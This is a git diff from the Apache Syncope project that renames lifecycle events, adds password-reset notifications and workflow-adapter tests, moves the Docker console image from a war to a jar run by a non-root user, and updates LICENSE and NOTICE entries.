updater, context); User updated = userDAO.save(user); - publisher.publishEvent(new AnyLifecycleEvent<>( - this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + publisher.publishEvent( + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); return new UserWorkflowResult<>( Pair.of(userUR, !user.isSuspended()), @@ -154,7 +160,7 @@ protected UserWorkflowResult doSuspend(final User user, final String upd User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); return new UserWorkflowResult<>(updated.getKey(), null, null, "suspend"); } @@ -166,7 +172,7 @@ protected UserWorkflowResult doReactivate(final User user, final String User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); return new UserWorkflowResult<>(updated.getKey(), null, null, "reactivate"); } @@ -176,11 +182,23 @@ protected void doRequestPasswordReset(final User user, final String updater, fin user.generateToken( confParamOps.get(AuthContextUtils.getDomain(), "token.length", 256, Integer.class), confParamOps.get(AuthContextUtils.getDomain(), "token.expireTime", 60, Integer.class)); + + notificationManager.createTasks( + updater, + AuditElements.EventCategoryType.CUSTOM, + null, + null, + REQUEST_PASSWORD_RESET, + AuditElements.Result.SUCCESS, + dataBinder.getUserTO(user, true), + null, + user.getToken()); + metadata(user, updater, context); User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); } @Override @@ -193,6 +211,16 @@ protected UserWorkflowResult> doConfirmPasswordReset( user.removeToken(); + notificationManager.createTasks( + updater, + AuditElements.EventCategoryType.CUSTOM, + null, + null, + CONFIRM_PASSWORD_RESET, + AuditElements.Result.SUCCESS, + dataBinder.getUserTO(user, true), + null); + UserUR userUR = new UserUR(); userUR.setKey(user.getKey()); userUR.setPassword(new PasswordPatch.Builder(). @@ -208,6 +236,6 @@ protected void doDelete(final User user, final String eraser, final String conte userDAO.delete(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.DELETE, user, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.DELETE, user, AuthContextUtils.getDomain())); } } diff --git a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/WorkflowContext.java b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/WorkflowContext.java index 3ce00186682..a1e12865e1a 100644 --- a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/WorkflowContext.java +++ b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/WorkflowContext.java @@ -21,11 +21,15 @@ import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.provisioning.api.data.AnyObjectDataBinder; import org.apache.syncope.core.provisioning.api.data.GroupDataBinder; import org.apache.syncope.core.provisioning.api.data.UserDataBinder; +import org.apache.syncope.core.provisioning.api.notification.NotificationManager; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; +import org.apache.syncope.core.spring.security.SecurityProperties; import org.apache.syncope.core.workflow.api.AnyObjectWorkflowAdapter; import org.apache.syncope.core.workflow.api.GroupWorkflowAdapter; import org.apache.syncope.core.workflow.api.UserWorkflowAdapter; @@ -42,11 +46,26 @@ public class WorkflowContext { public UserWorkflowAdapter uwfAdapter( final UserDataBinder userDataBinder, final UserDAO userDAO, + final RealmDAO realmDAO, + final GroupDAO groupDAO, final EntityFactory entityFactory, + final SecurityProperties securityProperties, + final RuleEnforcer ruleEnforcer, final ConfParamOps confParamOps, - final ApplicationEventPublisher publisher) { + final ApplicationEventPublisher publisher, + final NotificationManager notificationManager) { - return new DefaultUserWorkflowAdapter(userDataBinder, userDAO, entityFactory, confParamOps, publisher); + return new DefaultUserWorkflowAdapter( + userDataBinder, + userDAO, + realmDAO, + groupDAO, + entityFactory, + securityProperties, + ruleEnforcer, + confParamOps, + publisher, + notificationManager); } @ConditionalOnMissingBean @@ -65,9 +84,15 @@ public GroupWorkflowAdapter gwfAdapter( public AnyObjectWorkflowAdapter awfAdapter( final AnyObjectDataBinder anyObjectDataBinder, final AnyObjectDAO anyObjectDAO, + final GroupDAO groupDAO, final EntityFactory entityFactory, final ApplicationEventPublisher publisher) { - return new DefaultAnyObjectWorkflowAdapter(anyObjectDataBinder, anyObjectDAO, entityFactory, publisher); + return new DefaultAnyObjectWorkflowAdapter( + anyObjectDataBinder, + anyObjectDAO, + groupDAO, + entityFactory, + publisher); } } diff --git a/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapterTest.java b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapterTest.java new file mode 100644 index 00000000000..bbf990c3768 --- /dev/null +++ b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapterTest.java @@ -0,0 +1,109 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.workflow.java; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; + +import java.util.List; +import java.util.stream.Collectors; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.request.UserCR; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.UserWorkflowResult; +import org.apache.syncope.core.spring.security.SyncopeAuthenticationDetails; +import org.apache.syncope.core.spring.security.SyncopeGrantedAuthority; +import org.apache.syncope.core.workflow.api.UserWorkflowAdapter; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; +import org.springframework.transaction.annotation.Transactional; + +@SpringJUnitConfig(classes = { WorkflowTestContext.class }) +@Transactional("Master") +public class DefaultUserWorkflowAdapterTest { + + @BeforeAll + public static void setAuthContext() { + List authorities = IdRepoEntitlement.values().stream(). + map(entitlement -> new SyncopeGrantedAuthority(entitlement, SyncopeConstants.ROOT_REALM)). + collect(Collectors.toList()); + + UsernamePasswordAuthenticationToken auth = new UsernamePasswordAuthenticationToken( + new org.springframework.security.core.userdetails.User( + "admin", "FAKE_PASSWORD", authorities), "FAKE_PASSWORD", authorities); + auth.setDetails(new SyncopeAuthenticationDetails(SyncopeConstants.MASTER_DOMAIN, null)); + SecurityContextHolder.getContext().setAuthentication(auth); + } + + @AfterAll + public static void unsetAuthContext() { + SecurityContextHolder.getContext().setAuthentication(null); + } + + @Autowired + private UserWorkflowAdapter uwfAdapter; + + @Autowired + private UserDAO userDAO; + + @Test + public void createInvalidPassword() { + UserCR userCR = new UserCR(); + userCR.setUsername("username"); + userCR.setRealm("/even/two"); + userCR.setPassword("pass"); + + assertThrows(InvalidEntityException.class, () -> uwfAdapter.create(userCR, "admin", "test")); + } + + @Test + public void createInvalidUsername() { + UserCR userCR = new UserCR(); + userCR.setUsername("username!"); + userCR.setRealm("/even/two"); + userCR.setPassword("password123"); + + assertThrows(InvalidEntityException.class, () -> uwfAdapter.create(userCR, "admin", "test")); + } + + @Test + public void passwordHistory() { + UserCR userCR = new UserCR(); + userCR.setUsername("username"); + userCR.setRealm("/even/two"); + userCR.setPassword("password123"); + + UserWorkflowResult> result = uwfAdapter.create(userCR, "admin", "test"); + + User user = userDAO.find(result.getResult().getLeft()); + assertNotNull(user); + assertEquals(1, user.getPasswordHistory().size()); + } +} diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/Missing.java b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyConfParamOps.java similarity index 57% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/Missing.java rename to core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyConfParamOps.java index 175d9de4590..ce2e40bcd6e 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/Missing.java +++ b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyConfParamOps.java @@ -16,28 +16,28 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.widgets.reconciliation; +package org.apache.syncope.core.workflow.java; -import java.io.Serializable; +import java.util.Map; +import org.apache.syncope.common.keymaster.client.api.ConfParamOps; -public class Missing implements Serializable { +public class DummyConfParamOps implements ConfParamOps { - private static final long serialVersionUID = -4779715117027316991L; - - private final String resource; - - private final String connObjectKeyValue; + @Override + public Map list(final String domain) { + return Map.of(); + } - public Missing(final String resource, final String connObjectKeyValue) { - this.resource = resource; - this.connObjectKeyValue = connObjectKeyValue; + @Override + public T get(final String domain, final String key, final T defaultValue, final Class reference) { + return defaultValue; } - public String getResource() { - return resource; + @Override + public void set(final String domain, final String key, final T value) { } - public String getConnObjectKeyValue() { - return connObjectKeyValue; + @Override + public void remove(final String domain, final String key) { } } diff --git a/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyDomainOps.java b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyDomainOps.java new file mode 100644 index 00000000000..759518b0007 --- /dev/null +++ b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyDomainOps.java @@ -0,0 +1,64 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.workflow.java; + +import java.util.List; +import org.apache.syncope.common.keymaster.client.api.DomainOps; +import org.apache.syncope.common.keymaster.client.api.model.Domain; +import org.apache.syncope.common.lib.types.CipherAlgorithm; +import org.apache.syncope.core.persistence.api.DomainRegistry; + +public class DummyDomainOps implements DomainOps { + + private final DomainRegistry domainRegistry; + + public DummyDomainOps(final DomainRegistry domainRegistry) { + this.domainRegistry = domainRegistry; + } + + @Override + public List list() { + return List.of(); + } + + @Override + public Domain read(final String key) { + return new Domain.Builder(key).build(); + } + + @Override + public void create(final Domain domain) { + domainRegistry.register(domain); + } + + @Override + public void changeAdminPassword(final String key, final String password, final CipherAlgorithm cipherAlgorithm) { + // nothing to do + } + + @Override + public void adjustPoolSize(final String key, final int maxPoolSize, final int minIdle) { + // nothing to do + } + + @Override + public void delete(final String key) { + // nothing to do + } +} diff --git a/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyImplementationLookup.java b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyImplementationLookup.java new file mode 100644 index 00000000000..a43e9e95cfb --- /dev/null +++ b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/DummyImplementationLookup.java @@ -0,0 +1,80 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.workflow.java; + +import java.util.Set; +import org.apache.syncope.common.lib.policy.AccountRuleConf; +import org.apache.syncope.common.lib.policy.PasswordRuleConf; +import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; +import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; +import org.apache.syncope.core.spring.policy.DefaultAccountRule; +import org.apache.syncope.core.spring.policy.DefaultPasswordRule; + +public class DummyImplementationLookup implements ImplementationLookup { + + @Override + public int getOrder() { + return -1; + } + + @Override + public Set getClassNames(final String type) { + return Set.of(); + } + + @Override + public Class getReportClass(final Class reportConfClass) { + return null; + } + + @Override + public Class getAccountRuleClass( + final Class accountRuleConfClass) { + + return DefaultAccountRule.class; + } + + @Override + public Class getPasswordRuleClass( + final Class passwordRuleConfClass) { + + return DefaultPasswordRule.class; + } + + @Override + public Class getPullCorrelationRuleClass( + final Class pullCorrelationRuleConfClass) { + + return null; + } + + @Override + public Class getPushCorrelationRuleClass( + final Class pushCorrelationRuleConfClass) { + + return null; + } +} diff --git a/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/TestInitializer.java b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/TestInitializer.java new file mode 100644 index 00000000000..808c0bc2324 --- /dev/null +++ b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/TestInitializer.java @@ -0,0 +1,68 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.workflow.java; + +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.core.persistence.api.DomainHolder; +import org.apache.syncope.core.persistence.api.content.ContentLoader; +import org.apache.syncope.core.persistence.jpa.StartupDomainLoader; +import org.apache.syncope.core.spring.ApplicationContextProvider; +import org.springframework.beans.factory.InitializingBean; +import org.springframework.beans.factory.support.DefaultListableBeanFactory; +import org.springframework.context.ConfigurableApplicationContext; +import org.springframework.transaction.support.TransactionSynchronizationManager; + +public class TestInitializer implements InitializingBean { + + private final StartupDomainLoader domainLoader; + + private final DomainHolder domainHolder; + + private final ContentLoader contentLoader; + + private final ConfigurableApplicationContext ctx; + + public TestInitializer( + final StartupDomainLoader domainLoader, + final DomainHolder domainHolder, + final ContentLoader contentLoader, + final ConfigurableApplicationContext ctx) { + + this.domainLoader = domainLoader; + this.domainHolder = domainHolder; + this.contentLoader = contentLoader; + this.ctx = ctx; + } + + @Override + public void afterPropertiesSet() throws Exception { + ApplicationContextProvider.setApplicationContext(ctx); + ApplicationContextProvider.setBeanFactory((DefaultListableBeanFactory) ctx.getBeanFactory()); + + if (!TransactionSynchronizationManager.isSynchronizationActive()) { + TransactionSynchronizationManager.initSynchronization(); + } + + domainLoader.load(); + + contentLoader.load( + SyncopeConstants.MASTER_DOMAIN, + domainHolder.getDomains().get(SyncopeConstants.MASTER_DOMAIN)); + } +} diff --git a/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/WorkflowTestContext.java b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/WorkflowTestContext.java new file mode 100644 index 00000000000..6ce6b118ae6 --- /dev/null +++ b/core/workflow-java/src/test/java/org/apache/syncope/core/workflow/java/WorkflowTestContext.java @@ -0,0 +1,115 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.workflow.java; + +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.doAnswer; +import static org.mockito.Mockito.mock; + +import java.time.OffsetDateTime; +import org.apache.syncope.common.keymaster.client.api.ConfParamOps; +import org.apache.syncope.common.keymaster.client.api.DomainOps; +import org.apache.syncope.common.lib.request.UserCR; +import org.apache.syncope.common.lib.types.CipherAlgorithm; +import org.apache.syncope.core.persistence.api.DomainHolder; +import org.apache.syncope.core.persistence.api.DomainRegistry; +import org.apache.syncope.core.persistence.api.content.ContentLoader; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.persistence.jpa.MasterDomain; +import org.apache.syncope.core.persistence.jpa.PersistenceContext; +import org.apache.syncope.core.persistence.jpa.StartupDomainLoader; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.data.AnyObjectDataBinder; +import org.apache.syncope.core.provisioning.api.data.GroupDataBinder; +import org.apache.syncope.core.provisioning.api.data.UserDataBinder; +import org.apache.syncope.core.provisioning.api.notification.NotificationManager; +import org.apache.syncope.core.spring.security.SecurityContext; +import org.springframework.context.ConfigurableApplicationContext; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Import; +import org.springframework.context.annotation.PropertySource; + +@PropertySource("classpath:core-test.properties") +@Import({ SecurityContext.class, PersistenceContext.class, MasterDomain.class, WorkflowContext.class }) +@Configuration(proxyBeanMethods = false) +public class WorkflowTestContext { + + @Bean + public TestInitializer testInitializer( + final StartupDomainLoader domainLoader, + final DomainHolder domainHolder, + final ContentLoader contentLoader, + final ConfigurableApplicationContext ctx) { + + return new TestInitializer(domainLoader, domainHolder, contentLoader, ctx); + } + + @Bean + public UserDataBinder userDataBinder(final RealmDAO realmDAO) { + UserDataBinder dataBinder = mock(UserDataBinder.class); + + doAnswer(ic -> { + User user = ic.getArgument(0); + UserCR userCR = ic.getArgument(1); + + user.setUsername(userCR.getUsername()); + user.setRealm(realmDAO.findByFullPath(userCR.getRealm())); + user.setCreator("admin"); + user.setCreationDate(OffsetDateTime.now()); + user.setCipherAlgorithm(CipherAlgorithm.SHA256); + user.setPassword(userCR.getPassword()); + + return null; + }).when(dataBinder).create(any(User.class), any(UserCR.class)); + + return dataBinder; + } + + @Bean + public GroupDataBinder groupDataBinder() { + return mock(GroupDataBinder.class); + } + + @Bean + public AnyObjectDataBinder anyObjectDataBinder() { + return mock(AnyObjectDataBinder.class); + } + + @Bean + public ImplementationLookup implementationLookup() { + return new DummyImplementationLookup(); + } + + @Bean + public ConfParamOps confParamOps() { + return new DummyConfParamOps(); + } + + @Bean + public DomainOps domainOps(final DomainRegistry domainRegistry) { + return new DummyDomainOps(domainRegistry); + } + + @Bean + public NotificationManager notificationManager() { + return mock(NotificationManager.class); + } +} diff --git a/docker/console/NOTICE b/docker/console/NOTICE index 62b802fa185..0075fa8ab5d 100644 --- a/docker/console/NOTICE +++ b/docker/console/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2023 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). diff --git a/docker/console/pom.xml b/docker/console/pom.xml index 80f913b7a3a..725bdeb165b 100644 --- a/docker/console/pom.xml +++ b/docker/console/pom.xml @@ -24,14 +24,14 @@ under the License. org.apache.syncope syncope-docker - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Docker Console Apache Syncope Docker Console org.apache.syncope syncope-docker-console - war + jar ${basedir}/../.. @@ -92,26 +92,6 @@ under the License. - - org.apache.maven.plugins - maven-war-plugin - false - - ${basedir}/../../fit/console-reference/src/main/webapp/WEB-INF/web.xml - - - ${basedir} - META-INF - - LICENSE - NOTICE - - - - ${project.build.outputDirectory} - - - org.springframework.boot spring-boot-maven-plugin diff --git a/docker/console/src/main/resources/Dockerfile b/docker/console/src/main/resources/Dockerfile index 85b3e49e3a2..e7b23af0026 100644 --- a/docker/console/src/main/resources/Dockerfile +++ b/docker/console/src/main/resources/Dockerfile @@ -15,21 +15,14 @@ # specific language governing permissions and limitations # under the License. -FROM eclipse-temurin:17-focal -MAINTAINER dev@syncope.apache.org +FROM eclipse-temurin:17-jammy +LABEL org.opencontainers.image.authors="dev@syncope.apache.org" -RUN set -x +RUN mkdir /opt/syncope /opt/syncope/bin /opt/syncope/conf /opt/syncope/lib /opt/syncope/log -RUN mkdir /opt/syncope -RUN mkdir /opt/syncope/bin -RUN mkdir /opt/syncope/conf -RUN mkdir /opt/syncope/lib -RUN mkdir /opt/syncope/log +COPY *.properties log4j2.xml /opt/syncope/conf/ -COPY *.properties /opt/syncope/conf/ -COPY log4j2.xml /opt/syncope/conf/ - -COPY syncope-docker-console-*war /opt/syncope/lib/syncope-console.war +COPY syncope-docker-console-*jar /opt/syncope/lib/syncope-console.jar ENV SPRING_PROFILES_ACTIVE=docker ENV LOADER_PATH="/opt/syncope/conf,/opt/syncope/lib" @@ -41,4 +34,7 @@ CMD ["/opt/syncope/bin/startup.sh"] RUN curl -o /usr/local/bin/wait-for-it https://raw.githubusercontent.com/vishnubob/wait-for-it/master/wait-for-it.sh && chmod 755 /usr/local/bin/wait-for-it +RUN useradd -ms /usr/sbin/nologin syncope && chown -R syncope /opt/syncope +USER syncope + EXPOSE 8080 diff --git a/docker/console/src/main/resources/startup.sh b/docker/console/src/main/resources/startup.sh index 7f35946bfd2..229578a90df 100755 --- a/docker/console/src/main/resources/startup.sh +++ b/docker/console/src/main/resources/startup.sh @@ -17,4 +17,4 @@ # specific language governing permissions and limitations # under the License. -java $JAVA_OPTS -jar /opt/syncope/lib/syncope-console.war +java $JAVA_OPTS -jar /opt/syncope/lib/syncope-console.jar diff --git a/docker/core/LICENSE b/docker/core/LICENSE index 246ecdc3a92..733c2e0f64c 100644 --- a/docker/core/LICENSE +++ b/docker/core/LICENSE @@ -228,6 +228,11 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see above. + +== + For Error Prone (https://errorprone.info/): This is licensed under the AL 2.0, see above. @@ -248,7 +253,27 @@ This is licensed under the AL 2.0, see above. == -For mchange-commons-java (https://github.com/swaldman/mchange-commons-java): +For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): +This is licensed under the AL 2.0, see above. + +== + +For Nimbus Language Tags (https://bitbucket.org/connect2id/nimbus-language-tags/): +This is licensed under the AL 2.0, see above. + +== + +For Nimbus JOSE-JWT (https://bitbucket.org/connect2id/nimbus-jose-jwt): +This is licensed under the AL 2.0, see above. + +== + +For OAuth 2.0 SDK with OpenID Connect extensions (https://bitbucket.org/connect2id/oauth-2.0-sdk-with-openid-connect-extensions/): +This is licensed under the AL 2.0, see above. + +== + +For Jakarta Mail: This is licensed under the EPL 1.0: Eclipse Public License - v 1.0 @@ -457,27 +482,12 @@ any resulting litigation. == -For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): -This is licensed under the AL 2.0, see above. - -== - -For Nimbus Language Tags (https://bitbucket.org/connect2id/nimbus-language-tags/): -This is licensed under the AL 2.0, see above. - -== - -For Nimbus JOSE-JWT (https://bitbucket.org/connect2id/nimbus-jose-jwt): -This is licensed under the AL 2.0, see above. - -== - -For OAuth 2.0 SDK with OpenID Connect extensions (https://bitbucket.org/connect2id/oauth-2.0-sdk-with-openid-connect-extensions/): +For HikariCP (http://brettwooldridge.github.io/HikariCP/): This is licensed under the AL 2.0, see above. == -For Eclipse Metro (https://projects.eclipse.org/projects/ee4j.metro): +For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): This is licensed under the EDL 1.0: Eclipse Distribution License - v 1.0 @@ -505,21 +515,6 @@ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWIS THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -== - -For QDox (https://github.com/paul-hammant/qdox): -This is licensed under the AL 2.0, see above. - -== - -For HikariCP (http://brettwooldridge.github.io/HikariCP/): -This is licensed under the AL 2.0, see above. - -== - -For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): -This is licensed under the EDL 1.0, see above. - == For Eclipse Implementation of JAXB (https://projects.eclipse.org/projects/ee4j.jaxb-impl): @@ -591,6 +586,11 @@ This is licensed under the EPL 1.0, see above. == +For Jakarta Servlet (https://projects.eclipse.org/projects/ee4j.servlet): +This is licensed under the EPL 1.0, see above. + +== + For Jakarta WebSocket API (https://projects.eclipse.org/projects/ee4j.websocket): This is licensed under the EPL 1.0, see above. @@ -1042,6 +1042,11 @@ This is licensed under the CDDL 1.0, see above. == +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox): +This is licensed under the MIT license, see above. + +== + For ANTLR (https://www.antlr.org/): This is licensed under the BSD license, see above. @@ -1062,11 +1067,6 @@ This is licensed under the MIT license, see above. == -For MojoHaus AnimalSniffer Maven Plugin (https://github.com/mojohaus/animal-sniffer): -This is licensed under the MIT license, see above. - -== - For StAX2 API (http://wiki.fasterxml.com/WoodstoxStax2): This is licensed under the BSD license, see above. @@ -1077,6 +1077,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox): +This is licensed under the MIT license, see above. + +== + For Cryptacular (https://github.com/vt-middleware/cryptacular): This is licensed under the AL 2.0, see above. @@ -1314,3 +1319,7 @@ This is licensed under the AL 2.0, see above. For SnakeYAML (http://www.snakeyaml.org/): This is licensed under the AL 2.0, see above. + +== +For jose.4.j (https://bitbucket.org/b_c/jose4j/): +This is licensed under the AL 2.0, see above. diff --git a/docker/core/NOTICE b/docker/core/NOTICE index 27760e527bc..6a7621da6f7 100644 --- a/docker/core/NOTICE +++ b/docker/core/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2026 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). @@ -35,11 +35,6 @@ This product includes software developed by J2ObjC: Java to Objective-C Translat == -This product includes software developed by mchange-commons-java -Copyright (C) 2015 Machinery For Change, Inc. - -== - This product includes software developed by Nimbus Content Type Copyright 2020, Connect2id Ltd @@ -60,13 +55,8 @@ Copyright 2012-2022, Connect2id Ltd == -This product includes software produced and maintained by Eclipse Metro -All content is the property of the respective authors or their employers. - -== - -This product includes software developed by QDox. -Copyright 2002-2009 Joe Walnes and QDox Project Team +This product includes software developed by Jakarta Mail +Copyright (c) 1997, 2021 Oracle and/or its affiliates. All rights reserved. == @@ -99,7 +89,7 @@ Copyright (c) 2020 Luke Hutchison == -This product includes software developed by Micrometer Application Metrics +This product includes software developed by Micrometer Application Metrics. Copyright (c) 2017-Present VMware, Inc. All Rights Reserved. == @@ -124,6 +114,11 @@ All content is the property of the respective authors or their employers. == +This product includes software developed by the Eclipse Project for Jakarta Servlet. +Copyright (c) 1997, 2024 Oracle and/or its affiliates and others. All rights reserved. + +== + This product includes software produced and maintained by the Jakarta WebSocket project. All content is the property of the respective authors or their employers. @@ -162,6 +157,12 @@ Copyright 2011-2016 Tirasa S.r.l. All rights reserved. == +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa + +== + This product includes software developed by the ANTLR project. Copyright (c) 2012 Terence Parr and Sam Harwell. All rights reserved. @@ -182,16 +183,16 @@ Copyright (c) 2004-present by the Checker Framework developers == -This product includes software developed by MojoHaus AnimalSniffer Maven Plugin -Copyright (c) 2009, codehaus.org +This product includes software developed by the Stax 